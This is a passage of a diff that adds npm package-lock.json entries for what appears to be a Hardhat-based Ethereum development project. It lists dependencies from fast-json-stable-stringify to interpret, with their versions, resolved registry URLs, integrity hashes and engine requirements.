"https://registry.npmmirror.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "peer": true + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmmirror.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "peer": true + }, + "node_modules/fastq": { + "version": "1.13.0", + "resolved": "https://registry.npmmirror.com/fastq/-/fastq-1.13.0.tgz", + "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", + "dev": true, + "peer": true, + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-replace": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/find-replace/-/find-replace-3.0.0.tgz", + "integrity": "sha512-6Tb2myMioCAgv5kfvP5/PkZZ/ntTpVK39fHY7WkWBgvbeE+VHd/tZuZ4mrC+bxh4cfOZeYKVPaJIZtZXV7GNCQ==", + "dev": true, + "peer": true, + "dependencies": { + "array-back": "^3.0.1" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/find-up": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/find-up/-/find-up-2.1.0.tgz", + "integrity": "sha512-NWzkk0jSJtTt08+FBFMvXoeZnOJD+jTtsRmBYbAIzJdX6l7dLgR7CTubCM5/eDdPUBvLCeVasP1brfVR/9/EZQ==", + "dev": true, + "dependencies": { + "locate-path": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/flat": { + "version": "5.0.2", + "resolved": "https://registry.npmmirror.com/flat/-/flat-5.0.2.tgz", + "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", + "dev": true, + "bin": { + "flat": "cli.js" + } + }, + "node_modules/follow-redirects": { + "version": "1.15.2", + "resolved": "https://registry.npmmirror.com/follow-redirects/-/follow-redirects-1.15.2.tgz", + "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==", + "dev": true, + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==", + "dev": true, + "peer": true, + "engines": { + "node": "*" + } + }, + "node_modules/form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmmirror.com/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "dev": true, + "peer": true, + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 0.12" + } + }, + "node_modules/fp-ts": { + "version": "1.19.3", + "resolved": "https://registry.npmmirror.com/fp-ts/-/fp-ts-1.19.3.tgz", + "integrity": "sha512-H5KQDspykdHuztLTg+ajGN0Z2qUjcEf3Ybxc6hLt0k7/zPkn29XnKnxlBPyW2XIddWrGaJBzBl4VLYOtk39yZg==", + "dev": true + }, + "node_modules/fs-extra": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/fs-extra/-/fs-extra-7.0.1.tgz", + "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/fs-readdir-recursive": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", + "integrity": "sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA==", + "dev": true, + "peer": true + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "dev": true + }, + "node_modules/function.prototype.name": { + "version": "1.1.5", + "resolved": "https://registry.npmmirror.com/function.prototype.name/-/function.prototype.name-1.1.5.tgz", + "integrity": "sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.0", + "functions-have-names": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==", + "dev": true + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "dev": true, + "peer": true + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-func-name": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/get-func-name/-/get-func-name-2.0.0.tgz", + "integrity": "sha512-Hm0ixYtaSZ/V7C8FJrtZIuBBI+iSgL+1Aq82zSu8VQNB4S3Gk8e7Qs3VwBDJAhmRZcFqkl3tQu36g/Foh5I5ig==", + "dev": true, + "peer": true, + "engines": { + "node": "*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.1.3.tgz", + "integrity": "sha512-QJVz1Tj7MS099PevUG5jvnt9tSkXN8K14dxQlikJuPt4uD9hHAHjLyLBiLR5zELelBdD9QNRAXZzsJx0WaDL9A==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.3" + } + }, + "node_modules/get-port": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/get-port/-/get-port-3.2.0.tgz", + "integrity": "sha512-x5UJKlgeUiNT8nyo/AcnwLnZuZNcSjSw0kogRB+Whd1fjjFq4B1hySFxSFWWSn4mIBzg3sRNUDFYc4g5gjPoLg==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/get-symbol-description": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/get-symbol-description/-/get-symbol-description-1.0.0.tgz", + "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==", + "dev": true, + "peer": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmmirror.com/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==", + "dev": true, + "peer": true, + "dependencies": { + "assert-plus": "^1.0.0" + } + }, + "node_modules/ghost-testrpc": { + "version": "0.0.2", + "resolved": "https://registry.npmmirror.com/ghost-testrpc/-/ghost-testrpc-0.0.2.tgz", + "integrity": "sha512-i08dAEgJ2g8z5buJIrCTduwPIhih3DP+hOCTyyryikfV8T0bNvHnGXO67i0DD1H4GBDETTclPy9njZbfluQYrQ==", + "dev": true, + "peer": true, + "dependencies": { + "chalk": "^2.4.2", + "node-emoji": "^1.10.0" + }, + "bin": { + "testrpc-sc": "index.js" + } + }, + "node_modules/glob": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/global-modules": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "dev": true, + "peer": true, + "dependencies": { + "global-prefix": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "dev": true, + "peer": true, + "dependencies": { + "ini": "^1.3.5", + "kind-of": "^6.0.2", + "which": "^1.3.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/globby": { + "version": "10.0.2", + "resolved": "https://registry.npmmirror.com/globby/-/globby-10.0.2.tgz", + "integrity": "sha512-7dUi7RvCoT/xast/o/dLN53oqND4yk0nsHkhRgn9w65C4PofCLOoJ39iSOg+qVDdWQPIEj+eszMHQ+aLVwwQSg==", + "dev": true, + "peer": true, + "dependencies": { + "@types/glob": "^7.1.1", + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.0.3", + "glob": "^7.1.3", + "ignore": "^5.1.1", + "merge2": "^1.2.3", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.10", + "resolved": "https://registry.npmmirror.com/graceful-fs/-/graceful-fs-4.2.10.tgz", + "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==", + "dev": true + }, + "node_modules/growl": { + "version": "1.10.5", + "resolved": "https://registry.npmmirror.com/growl/-/growl-1.10.5.tgz", + "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4.x" + } + }, + "node_modules/handlebars": { + "version": "4.7.7", + "resolved": "https://registry.npmmirror.com/handlebars/-/handlebars-4.7.7.tgz", + "integrity": "sha512-aAcXm5OAfE/8IXkcZvCepKU3VzW1/39Fb5ZuqMtgI/hT8X2YgoMvBY5dLhq/cpOvw7Lk1nK/UF71aLG/ZnVYRA==", + "dev": true, + "peer": true, + "dependencies": { + "minimist": "^1.2.5", + "neo-async": "^2.6.0", + "source-map": "^0.6.1", + "wordwrap": "^1.0.0" + }, + "bin": { + "handlebars": "bin/handlebars" + }, + "engines": { + "node": ">=0.4.7" + }, + "optionalDependencies": { + "uglify-js": "^3.1.4" + } + }, + "node_modules/har-schema": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q==", + "dev": true, + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/har-validator": { + "version": "5.1.5", + "resolved": "https://registry.npmmirror.com/har-validator/-/har-validator-5.1.5.tgz", + "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==", + "deprecated": "this library is no longer supported", + "dev": true, + "peer": true, + "dependencies": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/hardhat": { + "version": "2.11.2", + "resolved": "https://registry.npmjs.org/hardhat/-/hardhat-2.11.2.tgz", + "integrity": "sha512-BdsXC1CFJQDJKmAgCwpmGhFuVU6dcqlgMgT0Kg/xmFAFVugkpYu6NRmh4AaJ3Fah0/BR9DOR4XgQGIbg4eon/Q==", + "dev": true, + "dependencies": { + "@ethersproject/abi": "^5.1.2", + "@metamask/eth-sig-util": "^4.0.0", + "@nomicfoundation/ethereumjs-block": "^4.0.0", + "@nomicfoundation/ethereumjs-blockchain": "^6.0.0", + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-evm": "^1.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-statemanager": "^1.0.0", + "@nomicfoundation/ethereumjs-trie": "^5.0.0", + "@nomicfoundation/ethereumjs-tx": "^4.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "@nomicfoundation/ethereumjs-vm": "^6.0.0", + "@nomicfoundation/solidity-analyzer": "^0.0.3", + "@sentry/node": "^5.18.1", + "@types/bn.js": "^5.1.0", + "@types/lru-cache": "^5.1.0", + "abort-controller": "^3.0.0", + "adm-zip": "^0.4.16", + "aggregate-error": "^3.0.0", + "ansi-escapes": "^4.3.0", + "chalk": "^2.4.2", + "chokidar": "^3.4.0", + "ci-info": "^2.0.0", + "debug": "^4.1.1", + "enquirer": "^2.3.0", + "env-paths": "^2.2.0", + "ethereum-cryptography": "^1.0.3", + "ethereumjs-abi": "^0.6.8", + "find-up": "^2.1.0", + "fp-ts": "1.19.3", + "fs-extra": "^7.0.1", + "glob": "7.2.0", + "immutable": "^4.0.0-rc.12", + "io-ts": "1.10.4", + "keccak": "^3.0.2", + "lodash": "^4.17.11", + "mnemonist": "^0.38.0", + "mocha": "^10.0.0", + "p-map": "^4.0.0", + "qs": "^6.7.0", + "raw-body": "^2.4.1", + "resolve": "1.17.0", + "semver": "^6.3.0", + "solc": "0.7.3", + "source-map-support": "^0.5.13", + "stacktrace-parser": "^0.1.10", + "tsort": "0.0.1", + "undici": "^5.4.0", + "uuid": "^8.3.2", + "ws": "^7.4.6" + }, + "bin": { + "hardhat": "internal/cli/cli.js" + }, + "engines": { + "node": "^14.0.0 || ^16.0.0 || ^18.0.0" + }, + "peerDependencies": { + "ts-node": "*", + "typescript": "*" + }, + "peerDependenciesMeta": { + "ts-node": { + "optional": true + }, + "typescript": { + "optional": true + } + } + }, + "node_modules/hardhat-gas-reporter": { + "version": "1.0.9", + "resolved": "https://registry.npmmirror.com/hardhat-gas-reporter/-/hardhat-gas-reporter-1.0.9.tgz", + "integrity": "sha512-INN26G3EW43adGKBNzYWOlI3+rlLnasXTwW79YNnUhXPDa+yHESgt639dJEs37gCjhkbNKcRRJnomXEuMFBXJg==", + "dev": true, + "peer": true, + "dependencies": { + "array-uniq": "1.0.3", + "eth-gas-reporter": "^0.2.25", + "sha1": "^1.1.1" + }, + "peerDependencies": { + "hardhat": "^2.0.2" + } + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-bigints": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/has-bigints/-/has-bigints-1.0.2.tgz", + "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==", + "dev": true, + "peer": true + }, + "node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz", + "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==", + "dev": true, + "peer": true, + "dependencies": { + "get-intrinsic": "^1.1.1" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dev": true, + "peer": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hash-base": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/hash-base/-/hash-base-3.1.0.tgz", + "integrity": "sha512-1nmYp/rhMDiE7AYkDw+lLwlAzz0AntGIe51F3RfFfEqyQ3feY2eI/NcwC6umIQVOASPMsWJLJScWKSSvzL9IVA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.4", + "readable-stream": "^3.6.0", + "safe-buffer": "^5.2.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/hash.js": { + "version": "1.1.7", + "resolved": "https://registry.npmmirror.com/hash.js/-/hash.js-1.1.7.tgz", + "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "minimalistic-assert": "^1.0.1" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "bin": { + "he": "bin/he" + } + }, + "node_modules/heap": { + "version": "0.2.7", + "resolved": "https://registry.npmmirror.com/heap/-/heap-0.2.7.tgz", + "integrity": "sha512-2bsegYkkHO+h/9MGbn6KWcE45cHZgPANo5LXF7EvWdT0yT2EguSVO1nDgU5c8+ZOPwp2vMNa7YFsJhVcDR9Sdg==", + "dev": true, + "peer": true + }, + "node_modules/hmac-drbg": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/hmac-drbg/-/hmac-drbg-1.0.1.tgz", + "integrity": "sha512-Tti3gMqLdZfhOQY1Mzf/AanLiqh1WTiJgEj26ZuYQ9fbkLomzGchCws4FyrSd4VkpBfiNhaE1On+lOz894jvXg==", + "dev": true, + "dependencies": { + "hash.js": "^1.0.3", + "minimalistic-assert": "^1.0.0", + "minimalistic-crypto-utils": "^1.0.1" + } + }, + "node_modules/http-basic": { + "version": "8.1.3", + "resolved": "https://registry.npmmirror.com/http-basic/-/http-basic-8.1.3.tgz", + "integrity": "sha512-/EcDMwJZh3mABI2NhGfHOGOeOZITqfkEO4p/xK+l3NpyncIHUQBoMvCSF/b5GqvKtySC2srL/GGG3+EtlqlmCw==", + "dev": true, + "peer": true, + "dependencies": { + "caseless": "^0.12.0", + "concat-stream": "^1.6.2", + "http-response-object": "^3.0.1", + "parse-cache-control": "^1.0.1" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "dev": true, + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-response-object": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/http-response-object/-/http-response-object-3.0.2.tgz", + "integrity": "sha512-bqX0XTF6fnXSQcEJ2Iuyr75yVakyjIDCqroJQ/aHfSdlM743Cwqoi2nDYMzLGWUcuTWGWy8AAvOKXTfiv6q9RA==", + "dev": true, + "peer": true, + "dependencies": { + "@types/node": "^10.0.3" + } + }, + "node_modules/http-response-object/node_modules/@types/node": { + "version": "10.17.60", + "resolved": "https://registry.npmmirror.com/@types/node/-/node-10.17.60.tgz", + "integrity": "sha512-F0KIgDJfy2nA3zMLmWGKxcH2ZVEtCZXHHdOQs2gSaQ27+lNeEfGxzkIw90aXswATX7AZ33tahPbzy6KAfUreVw==", + "dev": true, + "peer": true + }, + "node_modules/http-signature": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ==", + "dev": true, + "peer": true, + "dependencies": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + }, + "engines": { + "node": ">=0.8", + "npm": ">=1.3.7" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dev": true, + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmmirror.com/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dev": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "dev": true + }, + "node_modules/ignore": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/ignore/-/ignore-5.2.0.tgz", + "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", + "dev": true, + "peer": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/immutable": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/immutable/-/immutable-4.1.0.tgz", + "integrity": "sha512-oNkuqVTA8jqG1Q6c+UglTOD1xhC1BtjKI7XkCXRkZHrN5m18/XsnUp8Q89GkQO/z+0WjonSvl0FLhDYftp46nQ==", + "dev": true + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmmirror.com/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true, + "peer": true + }, + "node_modules/internal-slot": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/internal-slot/-/internal-slot-1.0.3.tgz", + "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==", + "dev": true, + "peer": true, + "dependencies": { + "get-intrinsic": "^1.1.0", + "has": "^1.0.3", + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/interpret": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/interpret/-/interpret-1.4.0.tgz", + "integrity": 